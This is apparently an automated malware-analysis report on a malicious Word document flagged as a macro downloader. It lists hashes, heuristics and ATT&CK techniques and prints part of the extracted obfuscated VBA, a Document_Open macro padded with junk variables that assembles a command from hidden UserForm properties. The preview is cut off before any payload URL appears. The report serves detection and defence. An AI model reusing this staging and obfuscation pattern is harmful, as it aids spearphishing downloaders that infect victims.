Sagent — Office (OLE) malware analysis

Static analysis result for SHA-256 1be772114a9910bc…

MALICIOUS

Office (OLE)

94.1 KB Created: 2019-12-18 21:19:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 9f103a12b67c0774c6db71ddbcb88644 SHA-1: 5d6745ad1c619e758a1e73b132a35916bbcc3545 SHA-256: 1be772114a9910bc4830cf776cedbb7cd6bd7c508068855ad3dff1d96120612e
262 Risk Score

Malware Insights

Sagent · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for malicious documents. Heuristics indicate the use of CreateObject and a hidden UserForm for command staging, suggesting it downloads and executes a second-stage payload. The ClamAV detection name 'Doc.Downloader.Sagent-7464899-0' further supports this analysis.

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-7464899-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-7464899-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11211 bytes
SHA-256: 6b95ff559c32f4e905dba213520798fe8defd4f47c7aed07ea1386869081b506
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xofpburdpzfhw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Stdyjyjgeeusl, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Grneykakqgy = Ejfradbgyxu
Tooxdorvhcgb = 501
Ydsildpgokbyx = ("Voluptatibus quaerat.")
Huteerlvsc = (213)
Dim Sxgzpagdcgoix As Integer
Dim Zevfqxlzin As Integer
Dim Gmhzgbgxiilmy As Boolean
Dim Hbgkgyemrxx As Integer
Dim Hyymrezqvgihq As Boolean
Dim Qtjhzhdyc As Boolean
Dim Wcaqcjiiqkj As Double
Tramuxcpqzvy = (833)
Dim Trdawjahxqf As Integer
Yirthtonhgrde = ("Qui et laborum aspernatur aut eum quasi omnis reiciendis consequuntur.")
Gcerotpq = (920)
Dim Nptmujhqye As Boolean
Foeycmkmwsjzb = Npfjsfjtev
Xkmfvuhwpnp = Fznvguly
Atvotwvadazn = "Magnam et pariatur nulla."
Mneuzwzang = 894
   Fjiyslwpq = Dtgaecgrlrwl
Tooyozyyztppl = 872
Vnuuobyezveg = ("Adipisci quidem.")
Njybzywh = (976)
Dim Mvetmkor As Boolean
Dim Qebqsxvkodjth As Integer
Dim Krnlrxnwsi As Double
Dim Erpgnpukjhhjb As Double
Dim Tntsngibsb As Integer
Dim Ycijizbrszxwd As Integer
Dim Cdjekoluiyp As Double
Wpwfgrvhbxz = (171)
Dim Mtuqxpar As String
Jwvknizlsukuc = ("Asperiores expedita sit tenetur.")
Pmrgafkujcrz = (243)
Dim Aezqrnil As Boolean
Zbmgpqrrr = Cilftybli
Gjsplelpj = Jgytdftka
Uxvnkxohzymr = "Quod illum vel."
Nzfmfcod = 6
   Oudbqxfpxgt = Utahwrjh
Wuwpjfjetnc = 13
Ufpaomaunacjb = ("Fuga magni voluptatem.")
Xdsfhehgu = (830)
Dim Jnbarycwgbgq As String
Dim Gvjtuginegqu As Boolean
Dim Smzussdnsm As Double
Dim Gemcqmxk As Boolean
Dim Ynzamwjukw As Integer
Dim Etcmycrtcwjr As Boolean
Dim Acqdxlji As Double
Urfhexcnbp = (622)
Dim Aeovtihcdiaj As Double
Egyqivfqr = ("Quaerat.")
Jpeuwqkdiblpc = (253)
Dim Blimqwmx As Boolean
Olgfnjniyjtc = Sqgnfsrwx
Uiepzxrlyhfe = Sygdihydbtaq
Aesnzksbiszl = "Eius nostrum voluptatum."
Iynmirmukso = 433
Xeqdkxosuz
End Sub

Attribute VB_Name = "Jjhofdqxiurkk"
Attribute VB_Base = "0{15954FE8-24E7-4CA3-9B30-1D177D7A8905}{88032DE1-B386-4B50-A288-4C0B5E3EA6CA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Wvynevhrwqz"
Function Anjcjozq()
   Xigrbjqkmxns = Xlcwvsiso
Ytjhbvsdsnmlv = 723
Ptppodxz = ("Quam tempore dolores.")
Wqcnmftirdpg = (766)
Dim Cupbskzgyt As Boolean
Dim Cykvaufmefq As String
Dim Hsdduliqe As Boolean
Dim Owgtuprjjxcu As Boolean
Dim Cvaqgxezvkrwc As String
Dim Uyxlqhenm As Double
Dim Nhgifyfhsqi As Double
Qpobwbymnboye = (49)
Dim Oyioxrjxt As Integer
Trvlrmzzu = ("Voluptate.")
Drkucafsjaox = (971)
Dim Hubhhsvoqhgr As Integer
Bzeogwvrdd = Rbceeucrj
Snjxoadnlzuqj = Qwyprysyaummc
Jajcmbwzgrz = "Enim aut et voluptas."
Jwksiedg = 981
Lnkulqkjltpjq = Xofpburdpzfhw.Stdyjyjgeeusl
   Fierzypl = Dnicxrxwqu
Gcudinzsw = 542
Enzgkrrj = ("Itaque harum incidunt quae qui natus.")
Rsyxypeu = (586)
Dim Clbbbxwpcmfq As Integer
Dim Dpxlmeylod As Double
Dim Vgjyuxyfat As Boolean
Dim Fnvbhovbontjs As String
Dim Svrwxmrbq As Integer
Dim Rirykjcz As Integer
Dim Jwezinvimafbp As Integer
Jwolnmfwcw = (987)
Dim Pdkgsmjjyn As String
Zwsefypsmpa = ("Aaron")
Osmeabcvdff = (695)
Dim Mpfvlwzzmrta As Boolean
Huxacxseu = Xlvtvrncl
Mqdenocb = Jwvbgece
Uiqnkegqz = "Atque beatae ipsam."
Fsghgxyjdcseb = 566
Rsnsbdgdv = Lnkulqkjltpjq + Jjhofdqxiurkk.Xsfedjxbjc + Jjhofdqxiurkk.Mdeidzxkn + Jjhofdqxiurkk.Wcilntyaqhw
   Ucokmspkuqngp = Qwevphuah
Rzvvhwfh = 85
Jtmtbnlewi = ("Esse quam laboriosam quo consectetur sunt modi.")
Aysmxlrzb = (769)
Dim Mapoyirbh As String
Dim Hcrcntjwkuykz As String
Dim Uytpiicl As Double
Dim Mymvfguscrqu As Boolean
Dim Ypfwooqqrvosi As Double
Dim Perrkbuxa As Double
Dim Erwfmzevqsd As Integer
Lcvhqhnxbmnmy = (474)
Dim Xdsfqajzum As Integer
Nnbnmzughfn = ("Ver
... (truncated)